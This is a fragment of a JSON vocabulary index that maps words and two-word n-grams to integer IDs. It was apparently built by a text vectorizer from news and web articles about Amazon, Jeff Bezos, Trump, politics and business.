\"time dividend\": 140090,\n  \"urged people\": 140091,\n  \"lives flag\": 140092,\n  \"issues florida\": 140093,\n  \"matter began\": 140094,\n  \"coalition identified\": 140095,\n  \"steyer confirmed\": 140096,\n  \"changed hands\": 140097,\n  \"status 1041310008623943680\": 140098,\n  \"effectively subsidizes\": 140099,\n  \"warning trump\": 140100,\n  \"train tunnel\": 140101,\n  \"ball\": 140102,\n  \"cheerleading\": 140103,\n  \"centers sanders\": 140104,\n  \"air quality\": 140105,\n  \"reporting scott\": 140106,\n  \"selling happened\": 140107,\n  \"voyeuristic\": 140108,\n  \"700 words\": 140109,\n  \"online clear\": 140110,\n  \"ago broke\": 140111,\n  \"vets running\": 140112,\n  \"fletcher\": 140113,\n  \"huge oil\": 140114,\n  \"sorrow\": 140115,\n  \"following period\": 140116,\n  \"alibaba did\": 140117,\n  \"people president\": 140118,\n  \"michael katchen\": 140119,\n  \"jeffrey denny\": 140120,\n  \"billion toronto\": 140121,\n  \"122 increase\": 140122,\n  \"intuit intu\": 140123,\n  \"charts lopez\": 140124,\n  \"way\\u00e9tu\": 140125,\n  \"south warts\": 140126,\n  \"christine hallquist\": 140127,\n  \"packages unlike\": 140128,\n  \"guaranteed continued\": 140129,\n  \"kidman amazon\": 140130,\n  \"tacky people\": 140131,\n  \"birkenstocks\": 140132,\n  \"profoundly aggressive\": 140133,\n  \"congratulations enjoyed\": 140134,\n  \"senate leadership\": 140135,\n  \"activity free\": 140136,\n  \"lie read\": 140137,\n  \"access tickets\": 140138,\n  \"facebook looking\": 140139,\n  \"transgender gender\": 140140,\n  \"ad impressions\": 140141,\n  \"final invasion\": 140142,\n  \"really everybody\": 140143,\n  \"bolsonaro owes\": 140144,\n  \"tv stations\": 140145,\n  \"faulkner faulkner\": 140146,\n  \"jobs leaving\": 140147,\n  \"jack reed\": 140148,\n  \"delivery speeds\": 140149,\n  \"enquirer follow\": 140150,\n  \"customer content\": 140151,\n  \"court cited\": 140152,\n  \"brennan president\": 140153,\n  \"tux\\u00e1\": 140154,\n  \"theodos research\": 140155,\n  \"135 million\": 140156,\n  \"plc holds\": 140157,\n  \"best route\": 140158,\n  \"reporter david\": 140159,\n  \"idealogical arm\": 140160,\n  \"headquarters announcements\": 140161,\n  \"skinny retail\": 140162,\n  \"police chief\": 140163,\n  \"newly democrat\": 140164,\n  \"provided text\": 140165,\n  \"264 shares\": 140166,\n  \"huge consumers\": 140167,\n  \"state taxpayers\": 140168,\n  \"late stages\": 140169,\n  \"stop emailing\": 140170,\n  \"main source\": 140171,\n  \"external forces\": 140172,\n  \"g1 a4ee\": 140173,\n  \"fulfillment logistics\": 140174,\n  \"britain official\": 140175,\n  \"tracked closely\": 140176,\n  \"office supplies\": 140177,\n  \"annual shareholder\": 140178,\n  \"afternoon storms\": 140179,\n  \"ambitious netflix\": 140180,\n  \"investigators actually\": 140181,\n  \"sailor\": 140182,\n  \"prevailed partially\": 140183,\n  \"officer good\": 140184,\n  \"text messages\": 140185,\n  \"jill fisch\": 140186,\n  \"untangles\": 140187,\n  \"says needham\": 140188,\n  \"buttermilk graffiti\": 140189,\n  \"republican friend\": 140190,\n  \"says alessandra\": 140191,\n  \"make peace\": 140192,\n  \"showered\": 140193,\n  \"halliburton revealed\": 140194,\n  \"microsoft introduce\": 140195,\n  \"madness stone\": 140196,\n  \"pantheon\": 140197,\n  \"allegiance\": 140198,\n  \"terrific selection\": 140199,\n  \"ads feedback\": 140200,\n  \"hatch spokesman\": 140201,\n  \"cnbc npr\": 140202,\n  \"varma\": 140203,\n  \"upper hand\": 140204,\n  \"az\": 140205,\n  \"utilities\": 140206,\n  \"sent abroad\": 140207,\n  \"young engineers\": 140208,\n  \"convened taskforce\": 140209,\n  \"story gary\": 140210,\n  \"months factory\": 140211,\n  \"include bannon\": 140212,\n  \"spiritual biography\": 140213,\n  \"pentagon request\": 140214,\n  \"siren\": 140215,\n  \"paul argenti\": 140216,\n  \"platform won\": 140217,\n  \"high pension\": 140218,\n  \"direct connection\": 140219,\n  \"bopinion\": 140220,\n  \"carnegie mellon\": 140221,\n  \"greatly slowed\": 140222,\n  \"davidson tom\": 140223,\n  \"pushed\": 140224,\n  \"construction according\": 140225,\n  \"covers amazon\": 140226,\n  \"deployed cabinet\": 140227,\n  \"draft deal\": 140228,\n  \"valid vote\": 140229,\n  \"000 packages\": 140230,\n  \"chair tom\": 140231,\n  \"death syndrome\": 140232,\n  \"department failed\": 140233,\n  \"bezos counterattack\": 140234,\n  \"street npr\": 140235,\n  \"servers available\": 140236,\n  \"story governor\": 140237,\n  \"tastic\": 140238,\n  \"entertainment analyst\": 140239,\n  \"meng ny\": 140240,\n  \"slightly higher\": 140241,\n  \"captive\": 140242,\n  \"brutally beaten\": 140243,\n  \"machines perfected\": 140244,\n  \"systems drywall\": 140245,\n  \"queens rally\": 140246,\n  \"including facial\": 140247,\n  \"parcel sector\": 140248,\n  \"takes claims\": 140249,\n  \"amazon urged\": 140250,\n  \"press report\": 140251,\n  \"foreigner\": 140252,\n  \"hillary clinton\": 140253,\n  \"organizations john\": 140254,\n  \"bags does\": 140255,\n  \"shade\": 140256,\n  \"morning joe\": 140257,\n  \"led state\": 140258,\n  \"considers foe\": 140259,\n  \"speech rights\": 140260,\n  \"immensely powerful\": 140261,\n  \"pricing offers\": 140262,\n  \"cicilline democrat\": 140263,\n  \"surface transportation\": 140264,\n  \"investment netflix\": 140265,\n  \"containerclassid\": 140266,\n  \"feather\": 140267,\n  \"life experts\": 140268,\n  \"cause brain\": 140269,\n  \"times say\": 140270,\n  \"immigrated illegally\": 140271,\n  \"restructures\": 140272,\n  \"potential incremental\": 140273,\n  \"republicans speaking\": 140274,\n  \"hits look\": 140275,\n  \"global marketplace\": 140276,\n  \"congestion pricing\": 140277,\n  \"necessary heather\": 140278,\n  \"clary anderson\": 140279,\n  \"company inventory\": 140280,\n  \"wenxuan outdoor\": 140281,\n  \"tbc\": 140282,\n  \"cancelling plans\": 140283,\n  \"coudert jr\": 140284,\n  \"provide large\": 140285,\n  \"sociopaths\": 140286,\n  \"p1 hoarci\": 140287,\n  \"reprises\": 140288,\n  \"scandal unless\": 140289,\n  \"regular target\": 140290,\n  \"trumps victory\": 140291,\n  \"years overcoming\": 140292,\n  \"relationships quite\": 140293,\n  \"detention facility\": 140294,\n  \"setinitialvideoembed\": 140295,\n  \"recommendations subscribe\": 140296,\n  \"retailers traffic\": 140297,\n  \"brainer right\": 140298,\n  \"zany eons\": 140299,\n  \"china dilemma\": 140300,\n  \"packed workshop\": 140301,\n  \"homosexual men\": 140302,\n  \"reserve continues\": 140303,\n  \"3876 2992\": 140304,\n  \"gutted earlier\": 140305,\n  \"scattered\": 140306,\n  \"cavuto\": 140307,\n  \"japan policy\": 140308,\n  \"books buttermilk\": 140309,\n  \"mayor feels\": 140310,\n  \"donated million\": 140311,\n  \"comprehensive plan\": 140312,\n  \"mortar chain\": 140313,\n  \"companies announced\": 140314,\n  \"roads conan\": 140315,\n  \"ecolab launches\": 140316,\n  \"grammar\": 140317,\n  \"opposite views\": 140318,\n  \"jordan peele\": 140319,\n  \"controversial shooting\": 140320,\n  \"people filled\": 140321,\n  \"day act\": 140322,\n  \"numerous possible\": 140323,\n  \"source described\": 140324,\n  \"shall soon\": 140325,\n  \"president animosity\": 140326,\n  \"sell items\": 140327,\n  \"trump walks\": 140328,\n  \"count olaf\": 140329,\n  \"460\": 140330,\n  \"buenos\": 140331,\n  \"imposter syndrome\": 140332,\n  \"000 compared\": 140333,\n  \"directly supports\": 140334,\n  \"transcript rush\": 140335,\n  \"ross\": 140336,\n  \"utx reported\": 140337,\n  \"hammered\": 140338,\n  \"access creates\": 140339,\n  \"finest\": 140340,\n  \"business large\": 140341,\n  \"numerous controversies\": 140342,\n  \"amazonhelp\": 140343,\n  \"governments holds\": 140344,\n  \"future deforestation\": 140345,\n  \"book bold\": 140346,\n  \"domestic volumes\": 140347,\n  \"interactive game\": 140348,\n  \"rates approved\": 140349,\n  \"recently unleashed\": 140350,\n  \"1890 company\": 140351,\n  \"uses ai\": 140352,\n  \"community credit\": 140353,\n  \"beams\": 140354,\n  \"pic saga\": 140355,\n  \"ap newsroom\": 140356,\n  \"corporations bipartisan\": 140357,\n  \"provider month\": 140358,\n  \"really bear\": 140359,\n  \"christianity source\": 140360,\n  \"wsj opines\": 140361,\n  \"making national\": 140362,\n  \"embedded content\": 140363,\n  \"powell doesnt\": 140364,\n  \"billion gig\": 140365,\n  \"incident remained\": 140366,\n  \"amazon reversed\": 140367,\n  \"digital coins\": 140368,\n  \"buy global\": 140369,\n  \"citigroup nyse\": 140370,\n  \"happens moving\": 140371,\n  \"indignant lee\": 140372,\n  \"reviewer\": 140373,\n  \"sketches david\": 140374,\n  \"repair reuters\": 140375,\n  \"paper trump\": 140376,\n  \"ice allies\": 140377,\n  \"disastrous fallout\": 140378,\n  \"old zain\": 140379,\n  \"aly\": 140380,\n  \"allow municipalities\": 140381,\n  \"ali wong\": 140382,\n  \"trump doing\": 140383,\n  \"older baby\": 140384,\n  \"fanfare\": 140385,\n  \"bowled superbly\": 140386,\n  \"small box\": 140387,\n  \"data lives\": 140388,\n  \"federal criminal\": 140389,\n  \"trash bag\": 140390,\n  \"forbes list\": 140391,\n  \"challenge technology\": 140392,\n  \"darkest corners\": 140393,\n  \"objectivity\": 140394,\n  \"politics policy\": 140395,\n  \"suspect thought\": 140396,\n  \"forth stood\": 140397,\n  \"year navarro\": 140398,\n  \"farming\": 140399,\n  \"fact packages\": 140400,\n  \"gang posed\": 140401,\n  \"regularly clashed\": 140402,\n  \"jared rich\": 140403,\n  \"secretary book\": 140404,\n  \"victims identities\": 140405,\n  \"jane leavy\": 140406,\n  \"wellsfargoresearch\": 140407,\n  \"yielded powerful\": 140408,\n  \"enquirer approached\": 140409,\n  \"2027\": 140410,\n  \"busy\": 140411,\n  \"qualcomm hill\": 140412,\n  \"driving local\": 140413,\n  \"nelson fla\": 140414,\n  \"jedi work\": 140415,\n  \"turkey woes\": 140416,\n  \"trump early\": 140417,\n  \"life direction\": 140418,\n  \"410 shares\": 140419,\n  \"billing oft\": 140420,\n  \"added showing\": 140421,\n  \"obfuscating press\": 140422,\n  \"intimate spaces\": 140423,\n  \"sold opiates\": 140424,\n  \"bat senator\": 140425,\n  \"worse farr\": 140426,\n  \"abusive market\": 140427,\n  \"revered\": 140428,\n  \"new james\": 140429,\n  \"horrific allegations\": 140430,\n  \"content messages\": 140431,\n  \"failure nervous\": 140432,\n  \"dismissed environmental\": 140433,\n  \"divorce\": 140434,\n  \"successful odalisque\": 140435,\n  \"d2jyz4lfsmnmp9 cloudfront\": 140436,\n  \"celebrity bloodletting\": 140437,\n  \"placating\": 140438,\n  \"antitrust case\": 140439,\n  \"spent\": 140440,\n  \"changed retail\": 140441,\n  \"laura davison\": 140442,\n  \"view later\": 140443,\n  \"fiction reading\": 140444,\n  \"viscous\": 140445,\n  \"recognize respond\": 140446,\n  \"equality transequality\": 140447,\n  \"mayweather dj\": 140448,\n  \"frank financial\": 140449,\n  \"site laboratory\": 140450,\n  \"guaranteed free\": 140451,\n  \"close\": 140452,\n  \"goodnight\": 140453,\n  \"maybe life\": 140454,\n  \"glimpse\": 140455,\n  \"bikini\": 140456,\n  \"rep jerrold\": 140457,\n  \"week facebook\": 140458,\n  \"described earlier\": 140459,\n  \"developments\": 140460,\n  \"plus local\": 140461,\n  \"approach treat\": 140462,\n  \"sears eventually\": 140463,\n  \"state designated\": 140464,\n  \"visitors\": 140465,\n  \"platform future\": 140466,\n  \"began biometric\": 140467,\n  \"consensus 2018\": 140468,\n  \"google pixel\": 140469,\n  \"intelligent speakers\": 140470,\n  \"nearly carried\": 140471,\n  \"hype benzinga\": 140472,\n  \"deposits belonging\": 140473,\n  \"malaysia airlines\": 140474,\n  \"40x\": 140475,\n  \"information classified\": 140476,\n  \"entered day\": 140477,\n  \"kudlow theme\": 140478,\n  \"headquarters office\": 140479,\n  \"previously knew\": 140480,\n  \"accused florida\": 140481,\n  \"catholic leaders\": 140482,\n  \"contfnew\": 140483,\n  \"focuses resources\": 140484,\n  \"amazon instead\": 140485,\n  \"ethiopia\": 140486,\n  \"alexa allegedly\": 140487,\n  \"2018 hero\": 140488,\n  \"enterprise delivering\": 140489,\n  \"jail gripping\": 140490,\n  \"users telling\": 140491,\n  \"6097408\": 140492,\n  \"told workers\": 140493,\n  \"reines frank\": 140494,\n  \"___ uk\": 140495,\n  \"seek dismissal\": 140496,\n  \"strategic planning\": 140497,\n  \"campaign promise\": 140498,\n  \"station viewed\": 140499,\n  \"power questions\": 140500,\n  \"bank started\": 140501,\n  \"debate trump\": 140502,\n  \"separately subaru\": 140503,\n  \"employees decide\": 140504,\n  \"delivery contractors\": 140505,\n  \"crimes law\": 140506,\n  \"melancholy\": 140507,\n  \"mixed feeling\": 140508,\n  \"touting having\": 140509,\n  \"city infrastructures\": 140510,\n  \"drop trump\": 140511,\n  \"crested\": 140512,\n  \"file legal\": 140513,\n  \"package inserts\": 140514,\n  \"stone denied\": 140515,\n  \"chief clearly\": 140516,\n  \"year growing\": 140517,\n  \"bezos cosplay\": 140518,\n  \"shipping availability\": 140519,\n  \"entertainment apps\": 140520,\n  \"cecil\": 140521,\n  \"emerging global\": 140522,\n  \"brennan personally\": 140523,\n  \"mark download\": 140524,\n  \"2019 farrow\": 140525,\n  \"john\": 140526,\n  \"eleni\": 140527,\n  \"presses\": 140528,\n  \"captions\": 140529,\n  \"division amazon\": 140530,\n  \"legal practice\": 140531,\n  \"house tech\": 140532,\n  \"diego union\": 140533,\n  \"aron\": 140534,\n  \"america allies\": 140535,\n  \"added nearly\": 140536,\n  \"fancy hotels\": 140537,\n  \"cattle lobby\": 140538,\n  \"million illegals\": 140539,\n  \"day tg\": 140540,\n  \"hair care\": 140541,\n  \"adjudicates\": 140542,\n  \"amidst mounting\": 140543,\n  \"210 words\": 140544,\n  \"murders trump\": 140545,\n  \"img_skyscraperref null\": 140546,\n  \"disgust grew\": 140547,\n  \"momplicated\": 140548,\n  \"morph\": 140549,\n  \"punishment editorial\": 140550,\n  \"varney outrage\": 140551,\n  \"democrats wanted\": 140552,\n  \"single buyer\": 140553,\n  \"design truck\": 140554,\n  \"rap impresario\": 140555,\n  \"future salesforce\": 140556,\n  \"workers mix\": 140557,\n  \"launch event\": 140558,\n  \"assist law\": 140559,\n  \"highlighting broader\": 140560,\n  \"governance amazon\": 140561,\n  \"traditional faith\": 140562,\n  \"deftly\": 140563,\n  \"support fleet\": 140564,\n  \"stay big\": 140565,\n  \"mma intends\": 140566,\n  \"anxiety\": 140567,\n  \"important figures\": 140568,\n  \"forgiveness 2018\": 140569,\n  \"underlying dynamics\": 140570,\n  \"fired filed\": 140571,\n  \"equipment apparel\": 140572,\n  \"line consumer\": 140573,\n  \"began recording\": 140574,\n  \"head executive\": 140575,\n  \"month good\": 140576,\n  \"limousine commission\": 140577,\n  \"pretty clear\": 140578,\n  \"speech codes\": 140579,\n  \"year evaluates\": 140580,\n  \"stardust\": 140581,\n  \"company uniform\": 140582,\n  \"broader criticisms\": 140583,\n  \"answer don\": 140584,\n  \"summit just\": 140585,\n  \"book including\": 140586,\n  \"matter reported\": 140587,\n  \"declined repeated\": 140588,\n  \"decline meaningfully\": 140589,\n  \"unforced 401\": 140590,\n  \"tech giants\": 140591,\n  \"house votes\": 140592,\n  \"read source\": 140593,\n  \"clinton national\": 140594,\n  \"entire global\": 140595,\n  \"wilking\": 140596,\n  \"defuse\": 140597,\n  \"giant office\": 140598,\n  \"maisel home\": 140599,\n  \"promoting negative\": 140600,\n  \"avalaras stocks\": 140601,\n  \"announced major\": 140602,\n  \"sen dick\": 140603,\n  \"lucy fleming\": 140604,\n  \"montgomery bid\": 140605,\n  \"creating\": 140606,\n  \"conway 179\": 140607,\n  \"van tine\": 140608,\n  \"isnot going\": 140609,\n  \"michael che\": 140610,\n  \"profits offshore\": 140611,\n  \"policy center\": 140612,\n  \"vancouver\": 140613,\n  \"isnt turning\": 140614,\n  \"oxycontin lawsuit\": 140615,\n  \"parties candidates\": 140616,\n  \"pentagon personnel\": 140617,\n  \"earn 101\": 140618,\n  \"heart trump\": 140619,\n  \"twitter war\": 140620,\n  \"couple keeps\": 140621,\n  \"afreshman congresswoman\": 140622,\n  \"comments blaming\": 140623,\n  \"pelosi wants\": 140624,\n  \"dubious schemes\": 140625,\n  \"rain netflix\": 140626,\n  \"sexual affairs\": 140627,\n  \"fakes won\": 140628,\n  \"opinion writes\": 140629,\n  \"pecker owns\": 140630,\n  \"hinting\": 140631,\n  \"trump members\": 140632,\n  \"entertainment defended\": 140633,\n  \"retains voting\": 140634,\n  \"fedex share\": 140635,\n  \"established statutory\": 140636,\n  \"exactly accurate\": 140637,\n  \"piecemeal\": 140638,\n  \"sided information\": 140639,\n  \"media knowingly\": 140640,\n  \"nyse nasdaq\": 140641,\n  \"ideologies ellison\": 140642,\n  \"nonbinding\": 140643,\n  \"provided ahead\": 140644,\n  \"outlandish claims\": 140645,\n  \"suspicious political\": 140646,\n  \"power corrupts\": 140647,\n  \"personal purposes\": 140648,\n  \"proportion\": 140649,\n  \"massive internet\": 140650,\n  \"wage gives\": 140651,\n  \"emotional retrospective\": 140652,\n  \"nerves\": 140653,\n  \"agitation\": 140654,\n  \"make 20amer\": 140655,\n  \"national scandal\": 140656,\n  \"credits meant\": 140657,\n  \"great\": 140658,\n  \"tech tyranny\": 140659,\n  \"shipping charges\": 140660,\n  \"aapl expert\": 140661,\n  \"dawsey collaboration\": 140662,\n  \"rated amc\": 140663,\n  \"impropriety\": 140664,\n  \"washington region\": 140665,\n  \"barry ritholtz\": 140666,\n  \"firm exposed\": 140667,\n  \"stocks fell\": 140668,\n  \"abducted\": 140669,\n  \"awkward conversation\": 140670,\n  \"seeing remarkable\": 140671,\n  \"coles\": 140672,\n  \"skit ends\": 140673,\n  \"baker\": 140674,\n  \"records indicate\": 140675,\n  \"potentially explosive\": 140676,\n  \"itc\": 140677,\n  \"ministries\": 140678,\n  \"2017 eliminated\": 140679,\n  \"mackonpolitics\": 140680,\n  \"siblings owned\": 140681,\n  \"anti vaxxers\": 140682,\n  \"shopper scans\": 140683,\n  \"owns invested\": 140684,\n  \"captivating series\": 140685,\n  \"shapiro political\": 140686,\n  \"fear\": 140687,\n  \"lady flies\": 140688,\n  \"caption getty\": 140689,\n  \"hydro\": 140690,\n  \"garden gun\": 140691,\n  \"risk financial\": 140692,\n  \"david fink\": 140693,\n  \"gun loving\": 140694,\n  \"kessler foto\": 140695,\n  \"vinden plaats\": 140696,\n  \"help neutralize\": 140697,\n  \"refugee invasion\": 140698,\n  \"springsteen\": 140699,\n  \"data economists\": 140700,\n  \"troops abroad\": 140701,\n  \"normally loathe\": 140702,\n  \"including office\": 140703,\n  \"congress drew\": 140704,\n  \"harper paperbacks\": 140705,\n  \"succession despite\": 140706,\n  \"washington bezos\": 140707,\n  \"trump role\": 140708,\n  \"trumpjoin\": 140709,\n  \"shesaid\": 140710,\n  \"jay kamhi\": 140711,\n  \"entry level\": 140712,\n  \"amounts initial\": 140713,\n  \"slowly service\": 140714,\n  \"post wrote\": 140715,\n  \"falling steadily\": 140716,\n  \"1pw8zh2fsw\": 140717,\n  \"flip power\": 140718,\n  \"includes multi\": 140719,\n  \"costco cheap\": 140720,\n  \"carousel\": 140721,\n  \"time add\": 140722,\n  \"discounted shipping\": 140723,\n  \"monitored\": 140724,\n  \"mgmt invested\": 140725,\n  \"material consequence\": 140726,\n  \"cut incentivized\": 140727,\n  \"circulated\": 140728,\n  \"terrible crimes\": 140729,\n  \"union united\": 140730,\n  \"ju cut\": 140731,\n  \"comment schuster\": 140732,\n  \"routinely described\": 140733,\n  \"know mayor\": 140734,\n  \"importing oil\": 140735,\n  \"2000 blue\": 140736,\n  \"additional packages\": 140737,\n  \"walton cites\": 140738,\n  \"president role\": 140739,\n  \"finance read\": 140740,\n  \"unitedhealth optum\": 140741,\n  \"sucrose\": 140742,\n  \"shopping days\": 140743,\n  \"american journalism\": 140744,\n  \"meeting\": 140745,\n  \"statewide candidates\": 140746,\n  \"mounted\": 140747,\n  \"fa ha\": 140748,\n  \"refute\": 140749,\n  \"question mcdowell\": 140750,\n  \"willowy\": 140751,\n  \"marriage soon\": 140752,\n  \"contaminates\": 140753,\n  \"area bernstein\": 140754,\n  \"statistics 267018\": 140755,\n  \"bundle function\": 140756,\n  \"stock definitely\": 140757,\n  \"women won\": 140758,\n  \"buy eat\": 140759,\n  \"aide failed\": 140760,\n  \"report clicking\": 140761,\n  \"violates federal\": 140762,\n  \"richer\": 140763,\n  \"disc\": 140764,\n  \"r4ee b9e\": 140765,\n  \"chunying\": 140766,\n  \"job postings\": 140767,\n  \"repeated claims\": 140768,\n  \"potential reasons\": 140769,\n  \"campaign wedge\": 140770,\n  \"fec records\": 140771,\n  \"kibosh\": 140772,\n  \"930 applications\": 140773,\n  \"copious amounts\": 140774,\n  \"makes good\": 140775,\n  \"cochrane\": 140776,\n  \"seeking comment\": 140777,\n  \"scottish parliament\": 140778,\n  \"eliot\": 140779,\n  \"washington foundation\": 140780,\n  \"york offices\": 140781,\n  \"hardcover book\": 140782,\n  \"meeting andrew\": 140783,\n  \"diseases keeps\": 140784,\n  \"industry disruptor\": 140785,\n  \"manufacturers supply\": 140786,\n  \"neighborhood new\": 140787,\n  \"desk filled\": 140788,\n  \"interplay\": 140789,\n  \"screening google\": 140790,\n  \"reportedly continues\": 140791,\n  \"nearly 200\": 140792,\n  \"microsoft bosses\": 140793,\n  \"tweets concerns\": 140794,\n  \"editorial noted\": 140795,\n  \"keerthy1995\": 140796,\n  \"participant\": 140797,\n  \"official meeting\": 140798,\n  \"dominant position\": 140799,\n  \"package coalition\": 140800,\n  \"fight grind\": 140801,\n  \"rail sound\": 140802,\n  \"reportedly helped\": 140803,\n  \"u0\": 140804,\n  \"irs owns\": 140805,\n  \"republican disapproves\": 140806,\n  \"height 120\": 140807,\n  \"viewpoint diversity\": 140808,\n  \"germany lost\": 140809,\n  \"privacy regulations\": 140810,\n  \"rulings\": 140811,\n  \"apprenticeship\": 140812,\n  \"strengthen vulnerable\": 140813,\n  \"project twitter\": 140814,\n  \"guwahati samsung\": 140815,\n  \"week installment\": 140816,\n  \"competitors conclusion\": 140817,\n  \"x6cue l7\": 140818,\n  \"ryan costello\": 140819,\n  \"strippers\": 140820,\n  \"deutsche bank\": 140821,\n  \"abby ellin\": 140822,\n  \"media low\": 140823,\n  \"tough market\": 140824,\n  \"warren presidential\": 140825,\n  \"openly despises\": 140826,\n  \"biggest player\": 140827,\n  \"charge varying\": 140828,\n  \"secretary elaine\": 140829,\n  \"pbm business\": 140830,\n  \"field donald\": 140831,\n  \"controls congress\": 140832,\n  \"prince saudi\": 140833,\n  \"entire shipping\": 140834,\n  \"overall performance\": 140835,\n  \"hbpnbausja\": 140836,\n  \"sells huge\": 140837,\n  \"spared little\": 140838,\n  \"offered dirt\": 140839,\n  \"1990s video\": 140840,\n  \"speaking\": 140841,\n  \"geofenced\": 140842,\n  \"head lower\": 140843,\n  \"nearly 800\": 140844,\n  \"conrad\": 140845,\n  \"isn pretty\": 140846,\n  \"ebay free\": 140847,\n  \"answer space\": 140848,\n  \"guardian women\": 140849,\n  \"acquires mar\": 140850,\n  \"industrial companies\": 140851,\n  \"slight hit\": 140852,\n  \"unmasking\": 140853,\n  \"works later\": 140854,\n  \"earlier adaptation\": 140855,\n  \"exquisitely describes\": 140856,\n  \"owns 717\": 140857,\n  \"global sustainable\": 140858,\n  \"television company\": 140859,\n  \"harming local\": 140860,\n  \"judge considering\": 140861,\n  \"lol redhotblaziken\": 140862,\n  \"economic impacts\": 140863,\n  \"workers drawn\": 140864,\n  \"communities atini\": 140865,\n  \"assumed oversight\": 140866,\n  \"sequitur looked\": 140867,\n  \"curator\": 140868,\n  \"pricing flexibility\": 140869,\n  \"furnish carriers\": 140870,\n  \"lawsuit alleges\": 140871,\n  \"previously senior\": 140872,\n  \"fences\": 140873,\n  \"dangerous environments\": 140874,\n  \"lighter gear\": 140875,\n  \"bank government\": 140876,\n  \"megdal\": 140877,\n  \"economist finite\": 140878,\n  \"resolution funding\": 140879,\n  \"attempted billion\": 140880,\n  \"governments force\": 140881,\n  \"unsuccessful negotiation\": 140882,\n  \"clearance index\": 140883,\n  \"ami published\": 140884,\n  \"complaint centred\": 140885,\n  \"took closer\": 140886,\n  \"easy period\": 140887,\n  \"commerce content\": 140888,\n  \"pending antitrust\": 140889,\n  \"pity\": 140890,\n  \"just based\": 140891,\n  \"new big\": 140892,\n  \"false conspiracy\": 140893,\n  \"spill\": 140894,\n  \"ideological sides\": 140895,\n  \"incentives\": 140896,\n  \"earnings plunge\": 140897,\n  \"actually supposed\": 140898,\n  \"uncomfortable asking\": 140899,\n  \"provider ambitions\": 140900,\n  \"1534392060\": 140901,\n  \"encouraged amazon\": 140902,\n  \"state comptroller\": 140903,\n  \"revamp youtube\": 140904,\n  \"johnson freedom\": 140905,\n  \"justin sink\": 140906,\n  \"rebellion deals\": 140907,\n  \"sacramento police\": 140908,\n  \"overseas retailers\": 140909,\n  \"srcdoc a4ee\": 140910,\n  \"conspirator\": 140911,\n  \"manhattan long\": 140912,\n  \"tastemade\": 140913,\n  \"annual notorious\": 140914,\n  \"overall rate\": 140915,\n  \"run political\": 140916,\n  \"spells trouble\": 140917,\n  \"reversal trump\": 140918,\n  \"cloud built\": 140919,\n  \"giants trump\": 140920,\n  \"dense urban\": 140921,\n  \"degree murder\": 140922,\n  \"defineproperties a4ee\": 140923,\n  \"final note\": 140924,\n  \"exterior jpg\": 140925,\n  \"action packed\": 140926,\n  \"uganda\": 140927,\n  \"waysactually\": 140928,\n  \"include managing\": 140929,\n  \"cemetary sic\": 140930,\n  \"large fines\": 140931,\n  \"term fix\": 140932,\n  \"curated\": 140933,\n  \"digital experience\": 140934,\n  \"expressed reservations\": 140935,\n  \"expecting real\": 140936,\n  \"nick turner\": 140937,\n  \"netroots\": 140938,\n  \"stunning blog\": 140939,\n  \"amazon relational\": 140940,\n  \"payment process\": 140941,\n  \"significant surge\": 140942,\n  \"desires\": 140943,\n  \"hackers targeted\": 140944,\n  \"dramatic reversal\": 140945,\n  \"college admission\": 140946,\n  \"toxins\": 140947,\n  \"emanuel campaign\": 140948,\n  \"settlement billion\": 140949,\n  \"attacks san\": 140950,\n  \"yelp great\": 140951,\n  \"love amazon\": 140952,\n  \"netflix kiernan\": 140953,\n  \"criticizing rekognition\": 140954,\n  \"coons senate\": 140955,\n  \"revivei5\": 140956,\n  \"000 union\": 140957,\n  \"accuses national\": 140958,\n  \"raise shipping\": 140959,\n  \"occurred rep\": 140960,\n  \"different plaintiffs\": 140961,\n  \"businessdealings\": 140962,\n  \"incentives despite\": 140963,\n  \"bolded phrase\": 140964,\n  \"australia post\": 140965,\n  \"allowing people\": 140966,\n  \"situation rob\": 140967,\n  \"captured roughly\": 140968,\n  \"projections\": 140969,\n  \"variable tolling\": 140970,\n  \"suggested trump\": 140971,\n  \"travel 2018\": 140972,\n  \"jeered bezos\": 140973,\n  \"fresh hope\": 140974,\n  \"estimate pegs\": 140975,\n  \"wonky donkey\": 140976,\n  \"agent moves\": 140977,\n  \"terminate\": 140978,\n  \"interesting stat\": 140979,\n  \"factual source\": 140980,\n  \"notopoulos buzzfeed\": 140981,\n  \"tycoon son\": 140982,\n  \"user newsletter\": 140983,\n  \"nicholas mother\": 140984,\n  \"officially\": 140985,\n  \"protestant minister\": 140986,\n  \"manley\": 140987,\n  \"assets 181004002630\": 140988,\n  \"having steve\": 140989,\n  \"robocall abuse\": 140990,\n  \"reports stating\": 140991,\n  \"york earlier\": 140992,\n  \"recommended mailing\": 140993,\n  \"youtube page\": 140994,\n  \"separation lauren\": 140995,\n  \"amazon network\": 140996,\n  \"wing lineage\": 140997,\n  \"codenamed\": 140998,\n  \"kudlow responded\": 140999,\n  \"people inside\": 141000,\n  \"8711\": 141001,\n  \"stanley estimates\": 141002,\n  \"737\": 141003,\n  \"pirro staunch\": 141004,\n  \"deep rooted\": 141005,\n  \"claims alertme\": 141006,\n  \"won focus\": 141007,\n  \"corporate works\": 141008,\n  \"issue alibaba\": 141009,\n  \"addressed president\": 141010,\n  \"disclosed bezos\": 141011,\n  \"stratosphere\": 141012,\n  \"dwyre\": 141013,\n  \"key brexit\": 141014,\n  \"farewell\": 141015,\n  \"told amazon\": 141016,\n  \"email calls\": 141017,\n  \"lululemon athletica\": 141018,\n  \"million pounds\": 141019,\n  \"green industrial\": 141020,\n  \"following discussions\": 141021,\n  \"bezos charitable\": 141022,\n  \"fetched partly\": 141023,\n  \"216\": 141024,\n  \"reporter jonathan\": 141025,\n  \"objects flynn\": 141026,\n  \"cliff hawaii\": 141027,\n  \"commodity prices\": 141028,\n  \"history instead\": 141029,\n  \"remember queen\": 141030,\n  \"memorable trump\": 141031,\n  \"zeide\": 141032,\n  \"received test\": 141033,\n  \"pain despite\": 141034,\n  \"unionize amazon\": 141035,\n  \"david ryder\": 141036,\n  \"khashoggi trump\": 141037,\n  \"ways right\": 141038,\n  \"bad romances\": 141039,\n  \"cook told\": 141040,\n  \"unicorn transfix\": 141041,\n  \"amazonhq2\": 141042,\n  \"single digits\": 141043,\n  \"directly implicating\": 141044,\n  \"metals tariffs\": 141045,\n  \"conservative figures\": 141046,\n  \"sandberg facebook\": 141047,\n  \"called new\": 141048,\n  \"leak reveals\": 141049,\n  \"coroners search\": 141050,\n  \"benefits simultaneously\": 141051,\n  \"stay relevant\": 141052,\n  \"prized racing\": 141053,\n  \"completely random\": 141054,\n  \"favor especially\": 141055,\n  \"spine\": 141056,\n  \"chicago los\": 141057,\n  